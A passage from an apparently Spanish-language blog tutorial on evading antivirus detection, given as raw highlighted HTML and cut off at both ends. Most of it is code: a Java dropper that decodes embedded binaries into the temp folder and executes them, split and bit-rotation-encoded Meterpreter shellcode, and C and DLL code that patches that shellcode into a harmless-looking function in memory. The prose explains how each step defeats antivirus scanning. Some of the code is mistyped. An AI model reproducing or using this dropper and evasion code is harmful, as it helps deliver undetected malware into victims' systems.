class="o">.</span><span class="na">length</span><span class="o">();</span> <span class="n">i</span> <span class="o">+=</span> <span class="mi">2</span> <span class="o">)</span> <span class="o">{</span> <span class="n">dig</span><span class="o">[</span><span class="n">i</span> <span class="o">/</span> <span class="mi">2</span><span class="o">]</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)((</span><span class="n">Character</span><span class="o">.</span><span class="na">digit</span><span class="o">(</span><span class="n">s</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="n">i</span><span class="o">),</span> <span class="mi">16</span><span class="o">)</span> <span class="o">&lt;&lt;</span> <span class="mi">4</span><span class="o">)</span> <span class="o">+</span> <span class="n">Character</span><span class="o">.</span><span class="na">digit</span><span class="o">(</span><span class="n">s</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="o">),</span> <span class="mi">16</span><span class="o">));</span> <span class="o">}</span> <span class="k">return</span> <span class="n">dig</span><span class="o">;</span> <span class="o">}</span> <span class="kd">public</span> <span class="kd">static</span> <span class="n">Object</span> <span class="nf">run</span><span class="o">()</span> <span class="kd">throws</span> <span class="n">Exception</span> <span class="o">{</span> <span class="k">try</span> <span class="o">{</span> <span class="n">String</span> <span class="n">ruta</span> <span class="o">=</span> <span class="n">System</span><span class="o">.</span><span class="na">getProperty</span><span class="o">(</span> <span class="s">"java.io.tmpdir"</span> <span class="o">)</span> <span class="o">+</span> <span class="n">File</span><span class="o">.</span><span class="na">separator</span> <span class="o">+</span> <span class="s">"spawmer.exe"</span><span class="o">;</span> <span class="n">scriFi</span><span class="o">(</span><span class="n">ruta</span><span class="o">,</span> <span class="n">CadenaToBytes</span><span class="o">(</span><span class="n">spawmer1</span><span class="o">));</span> <span class="n">ruta</span> <span class="o">=</span> <span class="n">System</span><span class="o">.</span><span class="na">getProperty</span><span class="o">(</span><span class="s">"java.io.tmpdir"</span><span class="o">)</span> <span class="o">+</span> <span class="n">File</span><span class="o">.</span><span class="na">separator</span> <span class="o">+</span> <span class="s">"spawmer.exe"</span><span class="o">;</span> <span class="n">scriFiGran</span><span class="o">(</span><span class="n">ruta</span><span class="o">,</span> <span class="n">CadenaToBytes</span><span class="o">(</span><span class="n">spawner2</span><span class="o">));</span> <span class="n">ruta</span> <span class="o">=</span> <span class="n">System</span><span class="o">.</span><span class="na">getProperty</span><span class="o">(</span><span class="s">"java.io.tmpdir"</span><span class="o">)</span> <span class="o">+</span> <span class="n">File</span><span class="o">.</span><span class="na">separator</span> <span class="o">+</span> <span class="s">"shellcode1.dat"</span><span class="o">;</span> <span class="n">scriFi</span><span class="o">(</span><span class="n">ruta</span><span class="o">,</span> <span class="n">CadenaToBytes</span><span class="o">(</span><span class="n">dllA1</span><span class="o">));</span> <span class="n">ruta</span> <span class="o">=</span> <span class="n">System</span><span class="o">.</span><span class="na">getProperty</span><span class="o">(</span><span class="s">"java.io.tmpdir"</span><span class="o">)</span> <span class="o">+</span> <span class="n">File</span><span class="o">.</span><span class="na">separator</span> <span class="o">+</span> <span class="s">"shellcode1.dat"</span><span class="o">;</span> <span class="n">scriFiGran</span><span class="o">(</span><span class="n">ruta</span><span class="o">,</span> <span class="n">CadenaToBytes</span><span class="o">(</span><span class="n">dllA2</span><span class="o">));</span> <span class="n">ruta</span> <span class="o">=</span> <span class="n">System</span><span class="o">.</span><span class="na">getProperty</span><span class="o">(</span><span class="s">"java.io.tmpdir"</span><span class="o">)</span> <span class="o">+</span> <span class="n">File</span><span class="o">.</span><span class="na">separator</span> <span class="o">+</span> <span class="s">"payload.exe"</span><span class="o">;</span> <span class="n">scriFi</span><span class="o">(</span><span class="n">ruta</span><span class="o">,</span> <span class="n">CadenaToBytes</span><span class="o">(</span><span class="n">payload1</span><span class="o">));</span> <span class="n">ruta</span> <span class="o">=</span> <span class="n">System</span><span class="o">.</span><span class="na">getProperty</span><span class="o">(</span><span class="s">"java.io.tmpdir"</span><span class="o">)</span> <span class="o">+</span> <span class="n">File</span><span class="o">.</span><span class="na">separator</span> <span class="o">+</span> <span class="s">"payload.exe"</span><span class="o">;</span> <span class="n">scriFiGran</span><span class="o">(</span><span class="n">ruta</span><span class="o">,</span> <span class="n">CadenaToBytes</span><span class="o">(</span><span class="n">payload2</span><span class="o">));</span> <span class="n">ruta</span> <span class="o">=</span> <span class="n">System</span><span class="o">.</span><span class="na">getProperty</span><span class="o">(</span><span class="s">"java.io.tmpdir"</span><span class="o">)</span> <span class="o">+</span> <span class="n">File</span><span class="o">.</span><span class="na">separator</span> <span class="o">+</span> <span class="s">"shellcode2.dat"</span><span class="o">;</span> <span class="n">scriFi</span><span class="o">(</span><span class="n">ruta</span><span class="o">,</span> <span class="n">CadenaToBytes</span><span class="o">(</span><span class="n">dllB1</span><span class="o">));</span> <span class="n">ruta</span> <span class="o">=</span> <span class="n">System</span><span class="o">.</span><span class="na">getProperty</span><span class="o">(</span><span class="s">"java.io.tmpdir"</span><span class="o">)</span> <span class="o">+</span> <span class="n">File</span><span class="o">.</span><span class="na">separator</span> <span class="o">+</span> <span class="s">"shellcode2.dat"</span><span class="o">;</span> <span class="n">scriFiGran</span><span class="o">(</span><span class="n">ruta</span><span class="o">,</span> <span class="n">CadenaToBytes</span><span class="o">(</span><span class="n">dllB2</span><span class="o">));</span> <span class="n">ejecutar</span><span class="o">(</span><span class="n">System</span><span class="o">.</span><span class="na">getProperty</span><span class="o">(</span><span class="s">"java.io.tmpdir"</span><span class="o">)</span> <span class="o">+</span> <span class="n">File</span><span class="o">.</span><span class="na">separator</span> <span class="o">+</span> <span class="s">"spawmer.exe"</span><span class="o">);</span> <span class="o">}</span> <span class="k">catch</span><span class="o">(</span><span class="n">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{}</span> <span class="k">return</span> <span class="kc">null</span><span class="o">;</span> <span class="o">}</span> <span class="kd">public</span> <span class="kd">static</span> <span class="n">Process</span> <span class="nf">ejecutar</span><span class="o">(</span><span class="n">String</span> <span class="n">ruta</span><span class="o">)</span> <span class="o">{</span> <span class="n">String</span><span class="o">[]</span> <span class="n">args</span> <span class="o">=</span> <span class="o">{</span><span class="s">"cmd"</span><span class="o">,</span><span class="s">"/c"</span><span class="o">,</span> <span class="n">ruta</span><span class="o">};</span> <span class="n">Runtime</span> <span class="n">rt</span> <span class="o">=</span> <span class="n">Runtime</span><span class="o">.</span><span class="na">getRuntime</span><span class="o">();</span> <span class="n">ProcessBuilder</span> <span class="n">pb</span> <span class="o">=</span> <span class="k">new</span> <span class="n">ProcessBuilder</span><span class="o">(</span><span class="n">args</span><span class="o">);</span> <span class="n">pb</span><span class="o">.</span><span class="na">directory</span><span class="o">(</span><span class="k">new</span> <span class="n">File</span><span class="o">(</span><span class="n">System</span><span class="o">.</span><span class="na">getProperty</span><span class="o">(</span><span class="s">"java.io.tmpdir"</span><span class="o">)));</span> <span class="n">Process</span> <span class="n">pro</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span> <span class="k">try</span> <span class="o">{</span> <span class="n">pro</span> <span class="o">=</span> <span class="n">pb</span><span class="o">.</span><span class="na">start</span><span class="o">();</span> <span class="k">if</span> <span class="o">(</span><span class="n">pro</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{}</span> <span class="o">}</span> <span class="k">catch</span><span class="o">(</span><span class="n">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span> <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span> <span class="o">}</span> <span class="k">return</span> <span class="n">pro</span><span class="o">;</span> <span class="o">}</span> <span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">scriFi</span><span class="o">(</span><span class="n">String</span> <span class="n">ruta</span><span class="o">,</span> <span class="kt">byte</span><span class="o">[]</span> <span class="n">datos</span><span class="o">)</span> <span class="o">{</span> <span class="k">try</span> <span class="o">{</span> <span class="n">FileOutputStream</span> <span class="n">oustre</span> <span class="o">=</span> <span class="k">new</span> <span class="n">FileOutputStream</span><span class="o">(</span><span class="n">ruta</span><span class="o">);</span> <span class="n">oustre</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">datos</span><span class="o">);</span> <span class="n">oustre</span><span class="o">.</span><span class="na">close</span><span class="o">();</span> <span class="o">}</span> <span class="k">catch</span><span class="o">(</span><span class="n">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{}</span> <span class="o">}</span> <span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">scriFiGran</span><span class="o">(</span><span class="n">String</span> <span class="n">ruta</span><span class="o">,</span> <span class="kt">byte</span><span class="o">[]</span> <span class="n">datos</span><span class="o">)</span> <span class="o">{</span> <span class="k">try</span> <span class="o">{</span> <span class="n">FileOutputStream</span> <span class="n">oustre</span> <span class="o">=</span> <span class="k">new</span> <span class="n">FileOutputStream</span><span class="o">(</span><span class="n">ruta</span><span class="o">,</span> <span class="kc">true</span><span class="o">);</span> <span class="n">oustre</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">datos</span><span class="o">);</span> <span class="n">oustre</span><span class="o">.</span><span class="na">close</span><span class="o">();</span> <span class="o">}</span> <span class="k">catch</span><span class="o">(</span><span class="n">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{}</span> <span class="o">}</span> </pre></div> <p>Como se puede apreciar, hemos convertido los binarios en cadenas de texto (los he truncado por legibilidad), los hemos almacenado en variables (separados en dos mitades), y los recodificamos a binario antes de escribirlos a disco, consiguiendo que el AV no los detecte al analizar el paquete Java.</p> <p>Con eso ya estamos separando el payload del propio exploit (recordad, separación es la clave), pero tendremos que conseguir que el payload sea también indetectable.</p> <p>Para ello vamos a utilizar varios trucos. En primer lugar, cogeremos nuestra shellcode y la partiremos en 2 mitades (una vez más). Con eso ya sería suficiente, pero para este ejemplo, además, he creado un sencillo "encoder" que hace rotaciones de bits en cada byte de la shellcode y luego los invierte, con la intención de camuflarla un poco. Así que ya tenemos dos mitades de nuestro meterpreter, previamente <em>scrambled</em> con el miniencoder.</p> <div class="highlight"><pre><span class="n">BYTE</span> <span class="n">semishell</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xd7\x5f\x5d\xff\x9e\xbc\x56\x74\x1a\xa2\x00\x4d\x5d\xab\x57</span><span class="s">"</span> <span class="s">"</span><span class="se">\xae\xff\x89\x5d\xff\x1c\x13\x77\x98\x1a\xa2\x96\xcd\xa5\xbb</span><span class="s">"</span> <span class="s">"</span><span class="se">\x68\x00\x1d\x2b\xe6\x0d\x75\x43\xeb\x24\xe2\xd2\xf5\x0b\x83</span><span class="s">"</span> <span class="s">"</span><span class="se">\xff\x51\xb4\x56\x0b\xb5\x6b\x90\x12\x44\x13\x34\x08\xb8\x80</span><span class="s">"</span> <span class="s">"</span><span class="se">\x2e\xe9\x01\x38\x16\x5c\xb4\x81\x2e\x33\xd3\x02\x09\xc2\xb8</span><span class="s">"</span> <span class="s">"</span><span class="se">\x0b\x8b\xba\x24\xfa\xce\xc7\xd7\x60\xd3\xba\xe0\x70\xf1\x08</span><span class="s">"</span> <span class="s">"</span><span class="se">\xd0\xf9\x07\x56\xc0\x62\xff\x89\x6d\x20\x2e\x1a\x8b\x92\x0f</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1f\x3d\x20\x80\x2c\x8b\x30\x12\x5c\x05\x1a\x04\x25\x74\x81</span><span class="s">"</span> <span class="s">"</span><span class="se">\x61\xc3\x04\x71\x43\x80\x3c\x84\xe2\x80\x25\x71\x5d\x29\xf0</span><span class="s">"</span> <span class="s">"</span><span class="se">\xC5\xf1\x08\xd0\xf9\x07\x10\x2C\x04\x1f\x0b\xC3\x95\x03\x98</span><span class="s">"</span> <span class="s">"</span><span class="se">\xff\x62\x89\x52\x7b\xe1\xa0\x39\x8b\x28\x94\x5c\xc0\x4a\x2e</span><span class="s">"</span> <span class="s">"</span><span class="se">\x18\x52\x17\x19\x96\x13\xbc\x26\x30\x00\x00\x00\x4c\x8e\x9f</span><span class="s">"</span><span class="p">;</span> <span class="n">BYTE</span> <span class="n">semishell2</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x00\xd9\x93\xf6\xc5\xbd\x3a\x70\xc2\x9e\x71\x07\xed\xb9\xff</span><span class="s">"</span> <span class="s">"</span><span class="se">\xff\xff\x54\x47\x3c\x0b\x97\xba\xc0\x0b\xf0\x08\x70\x71\x37</span><span class="s">"</span> <span class="s">"</span><span class="se">\x3a\xc0\x0b\x75\xff\x2e\x31\x5a\x09\x68\xac\xd4\x00\x00\x04</span><span class="s">"</span> <span class="s">"</span><span class="se">\x00\x34\x57\xcf\x62\x9a\x35\x72\x57\xff\xe5\xa6\x29\xc2\x86</span><span class="s">"</span> <span class="s">"</span><span class="se">\xeB\x00\x20\x00\x00\x18\x00\x00\x02\x00\x34\x40\xd4\x75\xff</span><span class="s">"</span> <span class="s">"</span><span class="se">\x65\x54\xd6\x78\x68\x00\x00\xab\x73\xe8\xa5\x97\xff\xff\xff</span><span class="s">"</span> <span class="s">"</span><span class="se">\x9d\x8e\x29\xaf\xea\xeb\x20\x1d\x5a\xa1\xae\x03\xc2\xd5\xff</span><span class="s">"</span> <span class="s">"</span><span class="se">\xde\xc0\x60\xa5\xa1\x2b\x57\xae\xd5\xba\xff\x26\x57\xff\x86</span><span class="s">"</span> <span class="s">"</span><span class="se">\x3d\x91\xab\x86\xca\x7c\x35\x50\x08\x9a\x07\x98\x00\x00\x99</span><span class="s">"</span> <span class="s">"</span><span class="se">\x80\xd0\xd6\x80\xa6\xd8\x26\xea\xff\x76\x8b\xaa\xbe\x0d\x41</span><span class="s">"</span> <span class="s">"</span><span class="se">\x29\x51\xa4\x94\x92\x48\x14\xc8\x00\x68\xa4\xb4\x89\x95\x09</span><span class="s">"</span> <span class="s">"</span><span class="se">\xaf\xea\xff\x8d\xe7\x4c\x75\x0d\x41\xa9\x00\x00\x40\xdd\x86</span><span class="s">"</span> <span class="s">"</span><span class="se">\x2a\x45\x81\x6a\xa2\x54\x4e\x13\x6b</span><span class="s">"</span><span class="p">;</span> </pre></div> <p>Si sólo utilizaramos el encoder sobre la shellcode entera, el antivirus podría reconocerla con algo de heurística, pero de este modo aunque aplique la heurística a cada mitad, no se encontrará con la shellcode completa, con lo que no la reconocerá como firma.</p> <p>Podríamos crear un sencillo ejecutable que lanzase esa shellcode, pero aquí vamos a utilizar otro truco para engañar aún más.</p> <p>Crearemos un ejecutable normal (<strong>payload.exe</strong>), con una función trivial que no haría saltar jamás al antivirus, porque no realiza ninguna acción sospechosa, pero utilizaremos unas librerías dinámicas para sobreescribir esa función trivial con nuestra shellcode en tiempo de ejecución, y ya en memoria:</p> <div class="highlight"><pre><span class="cp">#include &lt;Windows.h&gt;</span> <span class="kt">void</span> <span class="nf">inofensiva</span><span class="p">();</span> <span class="kt">int</span> <span class="kr">__stdcall</span> <span class="nf">WinMain</span><span class="p">(</span><span class="n">HINSTANCE</span> <span class="n">hInst</span><span class="p">,</span> <span class="n">HINSTANCE</span><span class="p">,</span> <span class="n">LPSTR</span> <span class="mi">1</span><span class="n">pCndLine</span><span class="p">,</span> <span class="kt">int</span> <span class="n">nShowCmd</span><span class="p">)</span> <span class="p">{</span> <span class="n">HMODULE</span> <span class="n">hLib</span> <span class="o">=</span> <span class="n">LoadLibrary</span><span class="p">(</span><span class="s">L"shellcode1.dat”);</span> <span class="n">Sleep</span><span class="p">(</span><span class="mi">5000</span><span class="p">);</span> <span class="n">HMODULE</span> <span class="n">hLib2</span> <span class="o">=</span> <span class="n">LoadLibrary</span><span class="p">(</span><span class="s">L"shellcode2.dat”);</span> <span class="n">Sleep</span><span class="p">(</span><span class="mi">5000</span><span class="p">);</span> <span class="n">FreeLibrary</span><span class="p">(</span><span class="n">hLib</span><span class="p">);</span> <span class="n">FreeLibrary</span><span class="p">(</span><span class="n">hLib2</span><span class="p">);</span> <span class="n">inofensiva</span><span class="p">();</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="kt">void</span> <span class="n">inofensiva</span><span class="p">()</span> <span class="p">{</span> <span class="n">_asm</span> <span class="p">{</span> <span class="n">nop</span><span class="p">;</span> <span class="n">nop</span><span class="p">;</span> <span class="n">nop</span><span class="p">;</span> <span class="n">nop</span><span class="p">;</span> <span class="n">nop</span><span class="p">;</span> <span class="n">nop</span><span class="p">;</span> <span class="p">...</span> <span class="p">}</span> <span class="p">}</span> </pre></div> <p>Debemos configurar el compilador para que no utilice el NX/XD (<strong>DEP</strong>) ni base dinámica (<strong>ASLR</strong>), de este modo la dirección de memoria que sobreescribiremos en nuestro programa no variará en cada ejecución, ni la memoria estará desorganizada por el ASLR, lo cual sería un problema para escribir secuencialmente.</p> <p>Como veis, y para esta demostración, la función <em>inofensiva()</em> está compuesta por una serie de NOPs (o cualquier otra cosa), para hacerla más fácil de encontrar en nuestro debugger, y debe tener el tamaño suficiente para albergar nuestra shellcode una vez la sobreescribamos.</p> <p>Lo ejecutamos en el debugger para localizar la dirección donde comienza dicha función:</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Debugger" src="//antoniorodriguez.es/posts/evasion-de-antivirus/debugger.jpg"/></div> <p>Dado que en este caso el programa comienza a ejecutarse en 400000, nuestro offset para comenzar a sobreescribir será <strong>53F0</strong>, que es el punto de entrada de la función.</p> <p>Un análisis por parte del antivirus sobre el ejecutable no revelaría nada ya que el código de la shellcode no sobreescribe la función <em>inofensiva()</em> hasta que cargamos las librerías.</p> <p>Como hemos partido la shellcode en 2 mitades, crearemos dos DLL (<strong>shellcode1.dat</strong> y <strong>shellcode2.dat</strong>), una con cada mitad (una vez más, separación), de este modo el AV aunque analice cada DLL en disco, no encontrará nada.</p> <div class="highlight"><pre><span class="cp">#inc1ude &lt;Windows.h&gt;</span> <span class="kt">void</span> <span class="nf">sobreescribir</span><span class="p">();</span> <span class="n">BYTE</span><span class="o">*</span> <span class="nf">recodificar</span><span class="p">(</span><span class="n">BYTE</span> <span class="n">arr</span><span class="p">[],</span> <span class="kt">int</span> <span class="n">rot</span><span class="p">,</span> <span class="kt">int</span> <span class="n">size</span><span class="p">);</span> <span class="n">BYTE</span> <span class="nf">lrotate</span><span class="p">(</span><span class="n">BYTE</span> <span class="n">val</span><span class="p">,</span> <span class="kt">int</span> <span class="n">n</span><span class="p">);</span> <span class="n">BYTE</span> <span class="nf">rrotate</span><span class="p">(</span><span class="n">BYTE</span> <span class="n">val</span><span class="p">,</span> <span class="kt">int</span> <span class="n">n</span><span class="p">);</span> <span class="n">DWORD</span> <span class="n">MY_OFFSET</span> <span class="o">=</span> <span class="n">OxO5BFO</span><span class="p">;</span> <span class="n">DWORD</span> <span class="n">PTR_PROTECT_OLD</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">DWORD</span> <span class="n">PTR_PROTECT_NEW</span> <span class="o">=</span> <span class="n">PAGE_READWRITE</span><span class="p">;</span> <span class="n">DWORD</span> <span class="n">SIZE_SHELL</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="kt">int</span> <span class="n">rot</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span> <span class="n">BYTE</span> <span class="n">semishell</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xd7\x5f\x5d\xff\x9e\xbc\x56\x74\x1a\xa2\x00\x4d\x5d\xab\x57</span><span class="s">"</span> <span class="s">"</span><span class="se">\xae\xff\x89\x5d\xff\x1c\x13\x77\x98\x1a\xa2\x96\xcd\xa5\xbb</span><span class="s">"</span> <span class="s">"</span><span class="se">\x68\x00\x1d\x2b\xe6\x0d\x75\x43\xeb\x24\xe2\xd2\xf5\x0b\x83</span><span class="s">"</span> <span class="s">"</span><span class="se">\xff\x51\xb4\x56\x0b\xb5\x6b\x90\x12\x44\x13\x34\x08\xb8\x80</span><span class="s">"</span> <span class="s">"</span><span class="se">\x2e\xe9\x01\x38\x16\x5c\xb4\x81\x2e\x33\xd3\x02\x09\xc2\xb8</span><span class="s">"</span> <span class="s">"</span><span class="se">\x0b\x8b\xba\x24\xfa\xce\xc7\xd7\x60\xd3\xba\xe0\x70\xf1\x08</span><span class="s">"</span> <span class="s">"</span><span class="se">\xd0\xf9\x07\x56\xc0\x62\xff\x89\x6d\x20\x2e\x1a\x8b\x92\x0f</span><span class="s">"</span> <span class="s">"</span><span class="se">\x1f\x3d\x20\x80\x2c\x8b\x30\x12\x5c\x05\x1a\x04\x25\x74\x81</span><span class="s">"</span> <span class="s">"</span><span class="se">\x61\xc3\x04\x71\x43\x80\x3c\x84\xe2\x80\x25\x71\x5d\x29\xf0</span><span class="s">"</span> <span class="s">"</span><span class="se">\xc5\xf1\x08\xd0\xf9\x07\x10\x2c\x04\x1f\x0b\xc3\x95\x03\x98</span><span class="s">"</span> <span class="s">"</span><span class="se">\xff\x62\x89\x52\x7b\xe1\xa0\x39\x8b\x28\x94\x5c\xc0\x4a\x2e</span><span class="s">"</span> <span class="s">"</span><span class="se">\x18\x52\x17\x19\x96\x13\xbc\x26\x30\x00\x00\x00\x4c\x8e\x9f</span><span class="s">"</span><span class="p">;</span> <span class="n">BOOL</span> <span class="n">APIENTRY</span> <span class="nf">DllMain</span><span class="p">(</span><span class="n">HINSTANCE</span> <span class="n">hinstDLL</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">ul_reason_for_call</span><span class="p">,</span> <span class="n">LPVOID</span> <span class="n">lpReserved</span><span class="p">)</span> <span class="p">{</span> <span class="k">switch</span> <span class="p">(</span><span class="n">ul_reason_for_call</span><span class="p">)</span> <span class="p">{</span> <span class="k">case</span> <span class="nl">DLL_PROCESS_ATTACH</span><span class="p">:</span> <span class="n">sobreescribir</span><span class="p">();</span> <span class="k">break</span><span class="p">;</span> <span class="k">case</span> <span class="nl">DLL_THREAD_ATTACH</span><span class="p">:</span> <span class="k">break</span><span class="p">;</span> <span class="k">case</span> <span class="nl">DLL_THREAD_DETACH</span><span class="p">:</span> <span class="k">break</span><span class="p">;</span> <span class="k">case</span> <span class="nl">DLL_PROCESS_DETACH</span><span class="p">:</span> <span class="k">break</span><span class="p">;</span> <span class="k">default</span><span class="o">:</span> <span class="k">break</span><span class="p">;</span> <span class="p">}</span> <span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span> <span class="p">}</span> <span class="kt">void</span> <span class="nf">sobreecribir</span><span class="p">()</span> <span class="p">{</span> <span class="n">SIZE_SHELL</span><span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">semishell</span><span class="p">);</span> <span class="n">BYTE</span><span class="o">*</span> <span class="n">chell</span> <span class="o">=</span> <span class="n">decodificar</span><span class="p">(</span><span class="n">semishell</span><span class="p">,</span> <span class="n">rot</span><span class="p">,</span> <span class="n">SIZE_SHELL</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span> <span class="n">BYTE</span><span class="o">*</span> <span class="n">offset</span> <span class="o">=</span> <span class="p">(</span><span class="n">BYTE</span><span class="o">*</span><span class="p">)</span> <span class="p">((</span><span class="n">DWORD</span><span class="p">)</span> <span class="n">GetModuleHandle</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">MY_OFFSET</span><span class="p">);</span> <span class="n">VirtualProtectEx</span><span class="p">(</span><span class="n">GetCurrentProcess</span><span class="p">(),</span> <span class="p">(</span><span class="n">LPVOID</span><span class="p">)</span> <span class="n">offset</span><span class="p">,</span> <span class="n">SIZE_SHELL</span><span class="p">,</span> <span class="n">PTR_PROTECT_NEW</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">PTR_PROTECT_0LD</span><span class="p">);</span> <span class="k">for</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">SIZE_SHELL</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">BYTE</span> <span class="n">b</span> <span class="o">=</span> <span class="n">chell</span><span class="p">[</span><span class="n">i</span><span class="p">];</span> <span class="o">*</span><span class="p">(</span><span class="n">offset</span> <span class="o">+</span> <span class="n">i</span><span class="p">)</span> <span class="o">=</span> <span class="n">b</span><span class="p">;</span> <span class="n">Sleep</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span> <span class="p">}</span> <span class="n">VirtualProtectEx</span><span class="p">(</span><span class="n">GetCurrentProcess</span><span class="p">(),</span> <span class="p">(</span><span class="n">LPVOID</span><span class="p">)</span> <span class="n">offset</span><span class="p">,</span> <span class="n">SIZE_SHELL</span><span class="p">,</span> <span class="n">PTR_PROTECT_OLD</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">PTR_PROTECT_NEW</span><span class="p">);</span> <span class="p">}</span> <span class="n">BYTE</span><span class="o">*</span> <span class="nf">decodificar</span><span class="p">(</span><span class="n">BYTE</span> <span class="n">arr</span><span class="p">[],</span> <span class="kt">int</span> <span class="n">rot</span><span class="p">,</span> <span class="kt">int</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span> <span class="n">BYTE</span> <span class="n">temp_rev</span><span class="p">;</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">size</span><span class="o">/</span><span class="mi">2</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">temp_rev</span> <span class="o">=</span> <span class="n">arr</span><span class="p">[</span><span class="n">i</span><span class="p">];</span> <span class="n">arr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">arr</span><span class="p">[</span><span class="n">size</span><span class="o">-</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">];</span> <span class="n">arr</span><span class="p">[</span><span class="n">size</span><span class="o">-</span><span class="n">i</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">temp_rev</span><span class="p">;</span> <span class="p">}</span> <span class="kt">bool</span> <span class="n">dir</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">size</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">dir</span><span class="p">)</span> <span class="p">{</span> <span class="n">arr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">lrotate</span><span class="p">(</span><span class="n">arr</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">rot</span> <span class="o">+</span> <span class="n">i</span><span class="p">);</span> <span class="n">dir</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">arr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">rrotate</span><span class="p">(</span><span class="n">arr</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">rot</span> <span class="o">+</span> <span class="n">i</span><span class="p">);</span> <span class="n">dir</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="k">return</span> <span class="n">arr</span><span class="p">;</span> <span class="p">}</span> <span class="n">BYTE</span> <span class="nf">lrotate</span><span class="p">(</span><span class="n">BYTE</span> <span class="n">val</span><span class="p">,</span> <span class="kt">int</span> <span class="n">n</span><span class="p">)</span> <span class="p">{</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">t</span><span class="p">;</span> <span class="n">t</span> <span class="o">=</span> <span class="n">val</span><span class="p">;</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">n</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">t</span> <span class="o">=</span> <span class="n">t</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">;</span> <span class="k">if</span><span class="p">(</span><span class="n">t</span> <span class="o">&amp;</span> <span class="mi">256</span><span class="p">)</span> <span class="p">{</span> <span class="n">t</span> <span class="o">=</span> <span class="n">t</span> <span class="o">|</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="k">return</span> <span class="n">t</span><span class="p">;</span> <span class="p">}</span> <span class="n">BYTE</span> <span class="nf">rrotate</span><span class="p">(</span><span class="n">BYTE</span> <span class="n">val</span><span class="p">,</span> <span class="kt">int</span> <span class="n">n</span><span class="p">)</span> <span class="p">{</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">t</span><span class="p">;</span> <span class="n">t</span> <span class="o">=</span> <span class="n">val</span><span class="p">;</span> <span class="n">t</span> <span class="o">=</span> <span class="n">t</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">n</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">t</span> <span class="o">=</span> 